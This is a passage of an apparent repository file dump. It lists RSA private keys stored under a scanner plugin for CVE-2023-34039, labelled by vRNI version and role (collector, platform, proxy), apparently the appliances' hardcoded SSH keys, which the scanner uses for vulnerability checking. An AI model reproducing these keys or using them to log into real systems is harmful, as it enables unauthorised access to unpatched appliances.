mYfq596K3ZOHF2IV\nICFq9r4zBorUwC3f/u/KvfjkilZTMN73GDWigdQGnP3eG0xKw9plv686M9HhCEI5\nQ2wnkxwYstzUwQ2zxwgU0l6z2OUXfG2oP3DRmFdQ4ma+c3MB1oxiX7E=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.0.0/id_rsa_vnera_keypair_6.0.0_proxy",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAsgKBrNNWF+QwDEP1w4HNuVQNBwLU0g/7Ua3SNNxhQvgx9oe7\nOh6c8YFvtmpSIjpOj3aD+w0bKZ8cEEPIGPV4OJ8tbuV09GtRPO+TbffhDsnwZB5Y\nfLhUsSM1/PjVTCfzrz2crs6CWRrDXLd3Qm9EdYAY01hE1Zo3TeqwsmXfy+7llF5z\niHKs54yDm/x+CEVL/QfaDTxyTSGeXpQSd6Y9nVhSGZPu2LyqksEffGJCxhzqgz0R\nldsfYTo64XofPUPRVvuNMJtBbdWIvzEqGGoaqOmm6XZhhh0ND4N9hyFnKA02q6Yb\nCR8q0gtEXBhDIM0e/rSoc+UoAhnbBJ4EiTnIywIDAQABAoIBAHiy1GRwA789XQrk\nBb8jw283O4IWfGFWrszKNG7dQyGakp4bmGqnGTlzz2B7pOdKa7xA2uqeD13gYbHx\nk7rArlyOKcs40F1uau4LcAavfa1+ZX4tSUh/4AUf39qAingR2txmxVeN9LogOHkk\neTvVoDCfw7WB82J2J6uwR1EfXGi0mGTyk+DzarzCm2S3jHVVlsWMC1rf440/NJxa\n2isVsh19CC9RXF8Npgd/b/TszLc9UzmFsYstQRrFXHTGO8LAmXYd+Jxb5ejbAAAJ\nzKN7YDdTPJvPmS9VUH0W3OeEvMDiY+56JJwk4u52vgfKThyP6AD/wIjRDXyp+eSi\n3wLoHQkCgYEA46eoL2tgjFfybLTQFt59/MBSWCKHEs5VKrBrGb8NhcmX0V7xLNip\nZtV7gN55ZQdI78pXyXpZsbU8EDx+5hrG7HDTLkl2N2n0vJNKtmj/oh/AgHt4EXUY\naLDSXSAsHPYAmdgg3kX61fgB7J3ByEPxjVk1B0tUShJ1d7/K3upvEj0CgYEAyCxy\nGPppQIcLfkC71qZqsJuyZapf1+GkEve/eUh7su3k9coy4bTNaBuDTLSRpDjSbsoO\n2jfAtImOjt95ZZGyCa2+bCDQlPKwG1C+I3ZQKYmSqxfHhS7W+0/iWqM4TL/yX1oM\n0jejJarZre+dfAEQtG6F5+lOnq6tx9uG+MRFn6cCgYB9LX8pM93Ozb0bUQDq0kRs\nakPc+n9TM+lYo9EAQzFoU0ULdy0d/7SGOvTCE5KknrDYSWaj/oa7VHBGbT1JwYeI\nEzHLzdEW/0f3OPZn/qwxtUvgWgPXdY+KYVAKrNoUwp/p+BF6pvgaF1jXhpc7S0DS\n/C5QaHdck3HL+sXOdRHF8QKBgE/QQPIqrlrXPcLqZrsQgcvHWNtmkm6OfpA9jm/6\ncbAHYNqL87vBDoGrLrAf805KhcU89a0Wu9SAYIIhItNXw2hOiXWto90v4v4RNK8J\nFq9pNjzX72rwITH1SSigmesoQai5TBFps7hqJf9PYji2aAW5Z9TvVrS4q3vb0TZR\nc/1TAoGAa+/A8GjiQFiveMRKfFW0vrk3/kJfe9h+w9Wly/Zev0TWZDBJquRFbIvM\nCyQ3PZZT/CM8vjRKb37oKsSM4Qz+CMpcEwyr3uu/MUak3KqD/j35XWW/kY/50qiv\nyDHbWgAyzi5wBd8uu2r/ILA3LCH4SHYA5X1XKEUwEAuaSXQUhVg=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.1.0/id_rsa_vnera_keypair_6.1.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAyYCxnpm+fPQmfJ9otzl6yBI5XbHQ0nLdod646tj48ZTnLAr/\nMSfHxpHmfJhavWbkOIPjMpE9vft7z37KVldTVZLXWpgUqSJAIF01dm8nqR3ErQqk\n9kXjf/i4qRKX6vSZxexV9nUedCm75OM4dCrfMRq08zQkQgKJ5LZQzY6nIZn2VKqJ\naaFYUTy3PpX6J6ObOa4Ft8pz8PIuwCnMR/yQFOPlY8sxvxv7de3g/VJh25Q7kLWw\ntSUIc6E4dzEIWi9o+q83tixXtvtlNcSA2LXWjQKBNo7lWvjqQbx4f/mwB4/ipqVf\nPQG/bolQ/2Wr+HF9E5XSpZrxFVOOIBSJm7+uJwIDAQABAoIBADfjQuBrYgMEMJyG\nFiQjhCNzsoeDJxkHlOMtg/pXHYzbsNZtYmQ+1VEE7HmIRDqeDBSEuAIxeH91/dwK\nHZKe+9UTOjm9TpWukzymvYpQwB5OzFr2RdSsg7HdyVHTf2FCYFgd+aW2zDCJ1rxg\nLStDLM5Qyvldb+UDET3nNzgcJczSigaHNVmUYv02yqELolHumD3X2uJnLsOrIIvS\nFlaGHhL2r4b67lTE27DBfRVFcTZmsWtS2mnJuQuBv2Bv1wXA3DmvJBgsUOVR03pT\nrxSn/vhJ+Lh+xqse3B60zJq8xncPUGLqT739J4rrxlkjGlQ3n4hYFdCrnaucKXI5\nAA1mvnECgYEA64Ftg8kUPEqNqjSnk8q3CFz+vhOpa5PPtfvroSrBg3KgollRC94q\nqnvpSjK9BBzlRriG9qNjne92JMXnOPlgyxM1u/GpMW8Mh5s32SERZ0sxFPzacon2\ne8ZFOMx/T5j3VzeElrrlpnIy9U4z+088EHaVvCJF1hNGCKYHusLcKi8CgYEA2wnA\n0btJLPXbWLLrEimXEaM8XEUpVvebR2r8PX+50puTi9vIejApNUsfpWnkKGl2zp74\nd0Z4EgLIsIpbmv4Nue/vB4e4nEP6vbdKxAVXWHOXPiMJgw5zCq1PLR35T33aBxmh\nRiGCyeeLl0SA6ykIh2MNGVyC+K7KyriW7/ds1YkCgYEA2p+ZMdjuDxZKsrIUyw9J\noNrrpTqNcY+TKGbIFCKj6En2MyBlK3Y/92n2ZOn7LCFC+sb8i2Oca5ZL/9E0WGCw\n6XRY0rOBlKF5aT2/t7KJ/HECDHC6vc+zYK3rvtGgch0XqACi9mZkIIMtKSpC+U5R\n/RqI4FCUsinMPuUakdapGgMCgYAp1ZoLNK8MNETZkwqMpH7i8n9jzB3SK2Zv5IIa\nqNtv2yD6FFcc5zfnotp/eFMIWORFIF2qQj5KileUSEiouJ8chTPtB0H+LomkVG6m\nM7L0BNe9GWoGqurT/jfiERh90zaiJoYD5ACb2Wpy0LWitGqZmRR2ZJHrN08qGslR\nObuCqQKBgQDdGGn4N6ke4fSdWxEHRy2VGSVzXAezsK5WpoAKzseJ75KZyc+1E3Ae\nFuA+dR5JnCUnUBSBHTS6V72qcU4u2D9/4MBQJOCys72/cHuit7vK/pCq/xQ6uQgx\nFTlL8KWeDQpBJEZddEgTCW21lAiq7Pa8bHwJMCZpRSklTap0bsPITg==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.1.0/id_rsa_vnera_keypair_6.1.0_proxy",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAt4VSizA9wlrjZiBVBhfsBjFopdcuR4t11TYovpBU+HzwzB0O\nGkoPxsju1ga6rWUDs7ubJD504oBQ0+xSvHN+NTOSj0WGDM9uo2WqP+5r//LIDq3y\nAXNtF2zlQfZWkS/JpFVcO0Tr5HD0riV18ERAJNRHXxGy2Xe4Mm4lXRi+CpWs5j9/\nnYWtVEuCEd+cyYWTQbvYLpmEQNRoxHyC3ggJO2MtcxarGQUpyyJGEA5c1f7YogrN\n5rW8L62FxO8jPVDZjheSRNQlWUbuqTDZi935DLB4nZZX/7dQr1QhwpcWkGlzbr+4\n6aJdpaxTafgHaIY3F5GDIcrKWyjkQzX7Zv7mrwIDAQABAoIBACqq558Ozz0Rro7+\n82WgSDLEaAUuu0bNCM9ScTSlD+xZ+A4sryuzjml0K/s8w0gvFSZDdvV9Q+WpWaF7\n71x7KZuq6uc+jcUKsTlyGJwWjauLQbIQBRULRhDNM5wbbtMAnkwDwJbTFlkdXfXj\nJcF/zL4DULisv71J1Vx8OVmkuAJzly2K3I66HI4XIlEPoGBm48gnVF5mC0uz/Mtl\nnISm3hD69u43VUni9cU8yQzqu5RpLOrjvVPvfWW56XPMhxMbS59KXmk7XSLPEqvA\n9U9jKdMTWa0QlTBK4IjVUaxwND7a+Y6GvPuYoDGpXXlJQ7l3nCxnuhwlbJRXzPVS\nAJLaSUECgYEA5oD34F0s3roizEB1HuE2aHKbsLxbrkMj1Kx5cR8TS4qAVSNVlq3r\nyfwri0PpT0GhYSq3dSkPT+dLsAr/Y9EdtKG5rRVxzB8EIhgNoSqbm/NR8W7sCM+j\nM9b25eyupd/B2Olnnmlo4lCC9tXMj3Pe+hcL27i3o91egJikviBCY48CgYEAy9H3\nU9Ii9FWU64Lr9F9OxxfbLSV8l/LH8Mvg/3Y3lLciuYMLO1fS7rumXVqn/km8/ikJ\npyQF3XO5XbyonRIBMuRemx2C78wO7Pq4/DEzJ68dj9yNrQICME5LWUZ+st53x8qt\ngyZlIoRDRE6RGVGovVihGTUIUXS6dOtJSBT5OuECgYAoZeYLnojkqD69CXb9aH8+\noweCXCC9U+sNtQS7vLSHAsknIsA3Xlf62IVRLR/Q0jHUc8YfdIjIekMboXHNLrNE\nGywNl7qQCceRqiGJY4xOMsDjzYr0qF90EHLJLUgWrjatK4sLinHlaDLry+DEK4yi\nzDM52Q/mWj/bzeThpYm9JQKBgQCzfM6SCR5xDqCbGWsSg4/LMg34Xueuo8VBHzmf\nngpqMzAoL+eHNdryE1v5H+mKvILrS1ZN0yI7Fzro+kd+MqnNmGBbtwxkgc2vEUgw\nBl+nFcYxtycocPlecsRV9QeEGvdegPR15yzuzYyzLYEHy+qN++u6WAJgQSwl5EFf\nceDc4QKBgEBlKDKtd2Zl9fovMma09/US/bxZnvsLLPfrRdhBT54a1iuR6LqmnNZo\nFz/31eQLLpPz5tQ1w/7v+jbeDKhRakoS4bgIAHjckL0n/dOgvPbKpAXFFMhSpuQ+\nHMnqEZmits9CjfQEroNufl0XL2EqTqkX3UxSWDyt3KXcVtAEmhlD\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAtpYKEuuvwRmvleIjldsJLLW9k9GhJVE2te2vx1++P8L/Tkvt\nJWLP8zS/zYz/vQfSFoNxW0+LlbIkfzTBauZzo2gpG6wr3PQKHOioaQUCrdW23epg\nq8W57xcqmz4b0WkApqpewizOafhKcqnV2YoSewnQiM6I0M4uCa77H8XeNC+CskFH\nUABAU1CN0M4b8z2VZXg5GIrmNnWApeXpjT1Owhe9G0ULY7ieVaV18xOlF91+UlRO\nXiPOvn2aiMYlzhCY7GLVGUEMEQCig5EoBDIc8YTSd5gFKuZ/xF3pdIYEoWjgSg5e\nnTSmgheZOpRtPo/L8F/PwZVFYKzF36a4ksTs7wIDAQABAoIBAQCJdKcc22YzH106\nn0Ze+MkNabzQ3c5NQ7jGeawNkpytb+W4Uhy0OpGG7L1Ax9d3vb2ByW67aUUSa0xi\nn5rFGb0Q1ces148mBmrenKC8f1Mm/29t3ZbteiuiPXSL7tQOcNhWoIg58nVq/cs+\nS3F9Fh8XlanydFo3qCCslZjksJe5/Iwq4lTMNNBSg21U+F4Qjylyk6pyilFPVdRs\nHgTRDkfpOQfhLg75kUYA3IF1widEKxiDHadFnnYL9aMY96XW0Kr9l7yS0FjgpdtH\n29oV16GjA0rhUJXzX3KuJfPqGmjOhaSf5WybbwdhjaqaOKqpX9RPyqYjF95Si0o7\nejEgTE7RAoGBAOiDZhIHTC2OnfZNncWE/hEbA+mbw6DXxDX7b1gjcY0HU03G9GfK\nBAimUY5LMssMCG8mLcH2TwC4SYmLDHyWL9qwYBRv4790qfYBCIjh7gyUhgwRrQNX\nQ057iD4NWTL9XEaOQIKM6QG7xMMy4K+AnwWNrEcxOU/62T80JO4l9hDjAoGBAMkH\nkJtP0F6mv/Afe/5s7yd3ZJ/72yT73NjLg0vWbmLkop6eOR+CKw4nxorWxpocAj0p\n+ximRgDPHIZjMQnUVdUQNuCcWK7T3TzpsIM7CcbbWHemukSwQPBlkP3Z5UBs0YFz\n8L7uCqVSWcnBE8zXQkKIRdro7iXjoirI1NEwRO2FAoGAGhnuEmYJUi/pYaXy6SJ1\n1vu+Y7Idsuel2h2AsVdBPwCshFWqSCBwdXweOagNaqfOJpQVnOmGkuEdODiIzU+a\nzaTxFDo/SdXR4pDZIWyjaXwe1CoDzxUztBLAB589/TBd9HmxmjYxTgWDIBqNCIaa\n02fFCDTpZyYUzziOUMGoLtsCgYEAqw+T3oU5IwGzvAmegi6CBsxSxMwUe1ESaSws\nCmFqRx6UvnKW2xfxuTbhfI0sLED/KrrJXv1F/jQ+6qAHP3z+mLIWcGS6FfJUhRu5\nxsF7HUrS6eXnBMISUD2s9kXvDTZLxGM7Dc0TJACCROrWBW16hZDeGFwzIeykttF0\nPplbXd0CgYBRRe5kjhOMr3zb37PQmchwOL4S4YuX2ChQbhWl6CD+xwFCQnPjq7oK\nffupaj085447kitYf23YbgZD0UPIkzbcOx+267pulgCaLAniUjuSzdiItQIjqDv7\nNTOJYF9i2RJW0dnrDC/6Ut6r5NIJiEL08Bx2ChxVNcl20ALBozk/rw==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzuQIqOXPnVopfWuERYwwycREObL4tiBpxyO4yzqPNP7mv04N\nPiFE+8sZhtecmP7DGn8BVPd/8SBdjQcd2q4Wq9nKwm0ydperQLqaQxnzLnY1EsGJ\neyowJNs3fAaC7LsR2i+nefdzn2xD2F39D0GSqgU/L7GEISt/ge9N3oGVLgw5t7Ci\nfKD0aCdEHuYraYZTpb+pyMr06NDqs9DLebByghFg4SPRyb0vfjRy1qONvupjqy3B\nqCSaHmQNIewGL+dPylruAd0TkMSqa3U3ReZ9lThovHdeFGwPjaPcvc9dcS/HXNzM\nBcJ+/cRq6rg5zlxSDk1Cabowf5Eu6c9W0HxCmwIDAQABAoIBAE0o6rnjC61JxROL\nl8dAY6m8Ux2Zy/xQ1mJ4xiC1dFd1gaVzfKjhS5MEyj5qB3NgAG/PUjXYIJVTVtCU\nCORX7Qimr2IXy6xDIJGBhqrj8LgxSdX27ElNEKuOPoE5BHc5xYy0HSf1y993R05Y\nr1qTQBm83zXwZLDiQim5kDcd6P9E0Caav66Q7mjrKn2kVm5W6jwM0DzaxBzNfyAe\nCmKd1nMz7zzQ+6DrILy5dkTcJkFHOCWwaG22QfLzyJRYtoAQ/3KqBH5PZC7asT3I\nS46VDFhnOufm9If8bSWCGH2eP/84BYCifL/2+NKMhL+pHepDb7/qPFpsLMpc4crf\nkdmKWoECgYEA8FsTjhJmjs4Ypr30cJMy7eHxs1jQqLbvY+UruHYXOCzHjpHhOfQl\n/WIKrXkrOUBieoJ0fdQZz33NBikGAtqFz870Xoe1oln1bneKrD6lMZR4XuTn4Nxm\nVbZ8BVrDXe/g/mF2r9N6xv6p9lgJGS+DjdRMxv9hFGlcPd2Z5kGlZaECgYEA3FtY\n6dX0dreubgddJen7PoUeVdti4O1Ngw/HjHYIXUihy+8GV+HruQOG2flg1g+Txepw\n2Rlpys2b6bUJLNKMN5HktyX87ztjSlwX3AtVYDkaf0h4IMnUBsgPdVr5a+9oatY8\n7wdcjaVEJfnUy6np8YBClvm6gMwDlmkDWLVBRrsCgYBbqF+srheuHaoI7CdrRrcF\nQESLwDLSI/Dmh15E2cPBCFKRa9AX6aMTHXA09yAklQj47wa9dUTie3bUApDoRa0B\nsko+QkJhxyxxE+UuCjW00omUpnZGqcXcqdphsFsQV4nVeBVqt5r6h+MIrknJ8PSa\nAXvF511+Cy/B59/ojuAkAQKBgHdKwIS+vjxyzexk8ilvVQOQn06NmSb5cMfuB/Jj\nh72wb17uxHlZJfqgDSX92k2oWzB+7Z6qIlqXGrvXtOLeDOicg7wexaJhfSwpVQVb\n4VlZMJ4NhnMBsFYHgk7e9D5Zeia0WoJwcst/17fTWz7yemKyM9p10WCekaagrR4d\n6fu3AoGAVMs9Ts2StSSyaa4ojZTSw8Dsr0YkfF0Jd2ZOiYpuZCxE9ZjTkk9/gZli\nGqoIPo+OEIlK/ZwOLWtK6YBWh6ru/CuFEHVZb3iQQ+zFWPYb/i0c3tEXWzrplItV\nqDv33uoQAevVtErJFRAuEXG6sqv7Cu1yodPxC5pUtpdjAyCxSyU=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAxeui/xvc57I8Mkkku9qIc5mHIsUVlE1pWUapZlmLCiBHiYJx\nm8hZgWeJMfvuuIICn3UR4T1UmHS0XzZboSFx9S2ABPiu44kudHTCDlFdH4csU8Ye\n3rse6s1GpYfUGFjKfC1d+8lomyF6zMhbuOjyIKzolewf4dIgjJY858eWCc8xoh4e\nfvryCoufQC0AYFSvKw1jiJ0YmxaXgDBe6Ca8Grndsg9NrhwvJkT1biNQNAdfEPOM\nJDv4sIgXh89DPRdUIiupAIzVhFrMw2LQCTfbBguXz0cVBf2YOpkLKRVUcJGINYIh\nbOek0Stf3shCE6STyh5eoXqW50GRwf8VVp1xNQIDAQABAoIBAEI/DN+2w8oJrnxm\nXxVBoEqRKNpKfV6WSpzHOgw4DIHnLAqqzrwF42+c6B8C5HR9j8MvvDxX+ujMp1L3\nLtRQDYSzJhaD5oXidNol+o4wTasv43Zm6g5DM6YD75GYVTWRArVtufd9ArZqDmBc\n79aEogat2WvVDRbY7mwgHWK3O1EsoeqI3um2bnuLWIBOFmDZAAAs0TCSWazqZSno\nFaQ0fnqmVkTJDex6Jh01H3dV9sqMZgcFg8nOWQEmEn9w5nIXRTO1aGB/GkSOs3rn\n2Z1nQ3v2vNDgUK9T5becQowmO6kYVZuDegeAXjNqocYDxEfttObNK8Wc9FDEFEiv\nI0yrZgECgYEA61WFq/bHIiuIFTRDjTBq9vi/yQXBuMTfd+R2vWhGImXBXoJvSaU4\nUqvPWVnRCrnD8EhllCJObI+opVmvNXg/KtCCb5bpFw4ga6mgCZ+bF1Cw36Cu2xvr\nZvE8/353v5FGna6L3Vcnx+9NlOy1UjxDmo2xVVkWpdUE/qV8XoMFHHkCgYEA100H\noBATabWiBYXENrNf6BPncvS3xurk8LCrobrDoHBi61tTnRWuDd/oHGaajktbs0WG\nj3MO8DgJmnLM5HfA7CG8UN8Am4BkrA1OBOd0a+j1Oa4pSxjitJtPCwIWTS172myH\nGZH8qytVPHeEiEJZWtcyX+QEaMngRggeHcLOE50CgYAqzn6nHhdw1rxFJyGWgBUk\n4XB5T2vCgUUo2MzkfSAsx5eZ6l315nDNUOVBmn3U1p+WiIS5olfjlWoW0a52Km5L\nCmx/gdLaV7579vneZkLexdW2h9LmljiGnCD9VHLRzMosioB0fZMF4jiZe0ksMTwW\n0+lK3g6pkYr8CvwJcQmv+QKBgB9rYl19exfGJergZo4FB036+Z/RDrC8vsRRQ/rK\nIppbTFREc6NM8qWbs2fRoWR6ots6njR4+gkcZGphrnz47PKIyc6TfKc0yXxCRMx6\naocE7CSKwgPvkcYBlDtrBo4kwRpTFDQrFdB09m9okbLA3AFhvjw4LlyMeWo+7QYy\n05gRAoGATG6zh4t92DoS2atkd5gYLEBhfqE2d/q8oPTZ8fnUe8yvnFH1FDtN2HFd\n5Tr7AwZlh1pEoAoNikZteOykBcW8l0CHHLS1TjcW9UQowHtKmjPqSnfZJzmLothq\nIT/md8um/4XQfdwbqJGsXPl7Z/7z8nZme+wPR3Dm/orN28adZwM=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApLxS7fHHBNDLzvkK1TR2u1c3EETKbwzd6o5jMVIiC224pnIT\nS8CFfafoE3d2JRLNqwOfzm+5eo6bVgPlRxtidEhUMyrZNeYnkL4lDyTxlYSIwyfw\nm1GRQvgSIquRGB4lHxaK1GWOr74OEGYuMrzi8Mmtp1xlP5hS19/GollJtmyGzNBK\nvWiG/m8gSDSqBX6anQZWLrQSdbuGmAI5Zoyxy7cSfrI0FM2JWDMWe7NDANcXZm0A\npr/iuKhmUbkh26Yo9YKnlzEq15peXkD1RVNVk5L+n5zejNJu2ciGGwaZ2Nj3RhAz\ndAQxphShZpptnUqTUBeO3heNsTjYDiFLN0KicwIDAQABAoIBAFkJqNEO4wDJUb8W\ngDJoXtw28X4LkFahX7iNKTPZLql6rljYQ3GoJv6ZqCgNY3/6P8t09AUCAgAp3++H\nv37FYFt1VH0rZadqNGxZOXKMBz9HGRxSFAv+9EJ8DmFK1etxL6Mz7emK0qpOUQ+w\nCrxFt2tptkBFAjxzOiOPwa6yD9NWyvzPhh5RTcLlCGflYKyiC+nbd9BtRmyzSEWz\nl8GDZjZnVWfJPSxlTtLXSTvCN8QizsQsxg32WcfftiYX4Aq2IgIGxRbyigvbni46\nAwXY2lwAHsMt3BsBlu/WeS/42SJGBUSycyKXsLT8yjqdda4MAJynXZKhMlZBB1uO\nvMvUMVECgYEA1jEtLdDK0LC+yXWScEoLr0CGMK2PvfGBYJZjFHpp31B0DUW7KNw+\nramp1uIpswk5BD812s+jk5AmlGitvs32wu2Mx5rWOFkLrH9qBs7eBJ9ohvXgReLk\nQMnkc3nTxaiIetUut159oxXpEJy7WNlqM+UdJEJss33S8/okerF0iMUCgYEAxOPj\n9nK2dRHfCBVim6j05yQw7MWpbv84iXlCxVBPdYNNOfyvmpEaADTquke+lYtHRS/V\nYJd3JFBnldNC/drOBaJeu5eGWKeJqhhdxD4lLhzdn3X0+SeGpOyC1NHlEjufrzpn\nlBIYDxJG483KcDEun55+Ux6wpDt/O2vPqCIfAdcCgYEAiPnj8ZO/0BvntsAoiQTh\nWg8CgejMruTeHx2teTAbusMhpEc+vI+0yaxhv9jcX/F68/tUfn0hF8Is2eXjjsz6\njIgL6q5bZqeTbpoA/R+YHg6vcveUmDzUSZaTMUHsq0/vD9Z7TKrx37SoWoZQzS4k\n29EehMyx5UuG9521bH1FkB0CgYA4wajZRkAqhzhP0DpYvN+8McaYunIZOSFHH9mL\nn5cIPQ1qBdlpKSLhpF91y3C5Eyk8XImaCo+hvDvgCMJrA0QYg7HjSc7Eh6c7jUKa\na3+0R0XrzckMecRqjnM4fjkWhHGHxcJOANlGnvIogQ42QTc7dCjeNR6eeTg4HOAD\ni7J8iQKBgGx7S70KL4QC1ic7zyQ/f+zjpL0G+k99Yi+iZMjN6wVwrHF69VTkEiCJ\nNhns4lnpGGVarmHMwwgVpRWBL890Iah99sWcIggkTw8qnrKlOA0jWDIkuurFg+FN\nu/9uUqS28h7j8Twb4uMcl57NgDVuqvOnfurct92xT2hHyQYxCXwZ\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.3.0/id_rsa_vnera_keypair_6.3.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApqXMad/xCg9JnXwb4QN1cJeJLrsYSTyN/BhkAOIWHJCmKAou\nOwG3jw9UwRd89Xsk7SH++oA9wMhhgbC2XCZCRRAaAQesAD2cYUJRhoYxZxzesAzo\nNRpThSvgP3NyF/LelaeF5Eu7o/pOyRPa0QkTxDdOpvSIYL21Yb9rjc477iQDN5tq\n0MiXIyCOoMpwzkvkzZMlGNgGgPSBdxoyT+EUePmFO7YJGp6D7hhQvL/JErVXGNJM\nZ4sarhM7xHWTIKm7yQvc2CXgZJqtBY848rxtDYjIdSkGTKzEK2n0UBg6Ps8acnp7\nk2XLHZKlKyfjD1vENFmaZHrrIQ2oTdvpEPgQUwIDAQABAoIBAHvW7gcn0foFzlDn\n79fROC7JjbpacvvJskHK5lX5rTDhFXjfx+c1qXD4laVAjS3nq1NFVjRVpI5k2oEE\nDyB/lfO4uXpWdy1em51zKR5tDr1vqNTvYohD3hkyt9yvL/Q4GczgxxEWboS2+GFZ\nDd0Vf8jqyNotEkPB9s6C76xbvBGFIpfQpLSIWKKYWrBIvqMjVXB27fMNsNX2+IIn\no7lGQX709vX10EEHGAc3xilz4UNM85e3jZVC4ykxmZW9PL3BSvkF0ZtsHy8pobIG\nnL7kFTaIAr28aVALQhwVYalg+9GVPgiaGUMFejPOBIpBhdMlsAUPlK2XL/3KM4Uw\nA57SQhECgYEA0GF+OkO0A6PycGPPi5fdPOFvdcWtA6oBU0J5Jr3DpSy0u8xFvv10\nWF4jYFG9MyHNC5xid5i+VDBxFBMs95+dtagGDX9W9reQqBafnM6yu6VoQIxG/TRw\n/Cz/fcTwTo+ijXAQWD6buTtXYfyhnF6C2tFIRaD84WkpqwSmyNiujAcCgYEAzLre\nWenJyqnjkHUp/7dfkR73p5Oyu8DM28Hj7dMt9P6ropiCLm3Sv+3xe9AUv44zVNQb\nyMF3kOKNq/rhVifa73DCTZ8cCvlefx3CRjCV/3DeDRFPP6oxHBxxhMDHZ+GBGQLA\nFPGTN7EikNbWAXMAnOFsreAepV4OhIxggidfXlUCgYEAl7ekE//fPRdNGQ9SuSwk\n5IKuiG0YfyZ0OI6Zbt+TZtuZ63HbBie7YeuIjkR1IJlnlSCTgMgxK1LpwdgEUXZh\neTWQ0pr4UkFsjTWLmLvV3lGcCgMYXJql+LU6f/O3kzt4+smw3M8YylCuWqV5dURK\nuc7OdAO2mtfagq2sUWeSDlkCgYAUaVUd1cc+o22Cy4uiaR/oEhRS6tDZE0HZbx1Q\nasucL3/hOB9SjbSDWi/HTlmjN4Q6ouMaQt+u3EePq/WnZ1XWpYFZx9E97trTBZ6G\n7PUngJNC7kTebhNzYAqZV7cJzlvWqIWKEQPCe7CcjC7N+i9HdNonA79KcXQ1FuHQ\nWCiT+QKBgFhgk2udL0ceJL+sPDZMkLhP0pwrd497nRdIohfzxVK2AZoK7VAZlJTC\n+wo+Rj/U4SGYTbQejY6ZgzbzQxbSI+lZ+hrSFs+G2Y/3zcF03/ZGAaFry/xOENg8\nKiTkEkCljnFRhh3IHuZb6UHcywSCs+zk/I7dlj9fvIudgr6dtav7\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.3.0/id_rsa_vnera_keypair_6.3.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAtjqiOwCwrwL3Lmc3ZyXd3mme+2uWHqkxX0GmWrn0ObmoPC1d\nKWJqwAOdFvvIsdCGhUhiBHsR4lEyFzalzT3I8L8Fc+/Vpvq50NsBPg4cz94eRkxK\nTCIz0tTM4Aot4AdXOT9vn1JHjpB6P1kwZBkiBdqSVnJIBNyoZ4ljpkbdAUqSdiJn\nE+UkLWB0BGCOSQ6pzebCf0ovbyooazMucoN/pd8Pc9gv+l4pJOurt1MYapQfJkNB\nXCVdvdU+4sDp4PRCo7T9uCFieDdguYgkLHC7JuNbksPQShZ3J3SVzuOw0t+RLqdp\nZiL4G0yl8Hllpt/YHLStZtdDSjD7xwjhLT+qqQIDAQABAoIBADF5b8w3HsEVPAjU\nKx2NEVSuNmSqTAKdCvOCvmiJbf4yIrPb2RxARR1GneK8jzt/ktYi1cHDrBJW2xOk\nWZWEfcanBhL4/XetQL+shgTUDgx9kJijY9SRwKIv9kOpX9UgCRVY3LRTwWu6XAZQ\n76tti2gtdGeV9WmkgvBBQ9XEDYKoyBd5lf2j7IuyntEfIfFpKROYNpGMr0essf9k\nJ59IE4oyz5dneVKN/Fk7SBnep8Ubnn7WpjkQa3wrfyAMKjn17JIXvERyF79GNINa\nHgh2Rxc1hpIJsj0q1nUlcn3NKzoqpEgLvTt60nw0RcuCPere9N1CvuMbKhi5Lmz4\n7VXoytUCgYEA3CIer5vcpAN3RRfmbxJ+RA9yz6xjZTIAlrqN8eDtKz+N2AgzU0IJ\naaFOkkCI8nd6Xf7+L/f1gILrtQmgW9QVK39/PILzp+Fy3matERaJRBfcCCgieKvx\nm/IKAWFT2E9tcl8V1GA+J7nQhavQsX/A7FrVfRQLDJsgHzggiWVwQUcCgYEA0+uB\nzbkujaowZRjZcHs4d6GhVt1i8ZkzYt8LJPPF6Y2ExUP56WUqcyB1h0/RIaaumcvn\n69RJWetvWqJkaunr7lLHS5moMaulEzbGvT2F+wenO9O2ylF8PPHETnxi1za32drr\nlmL+5jw9F/g7KgeKqOFX4ogICOAF7L3+TvaVLI8CgYEAgCA33hyI6sm9pPCJRgLs\njS60s51x6NeWsiR5M9yoDnEaXTBAt2gLVHj343Y+f2n9RjKBvmfDc/4/tQqaVHh3\nre6ynwTVTtSQ6FO4zeZhFMoSXokFr1jc8tiI7E66338zg8tGSGuQIc0sSnE7seRa\n5PblpbyBxd+QbbtcbLwm/0cCgYAC9xeg3kd1ef0lXPyl40N+AQf15DEfOkqKxp4s\nTTDmvLEv5WyYxG6cn8alNwuxEdj9k+nR1e2U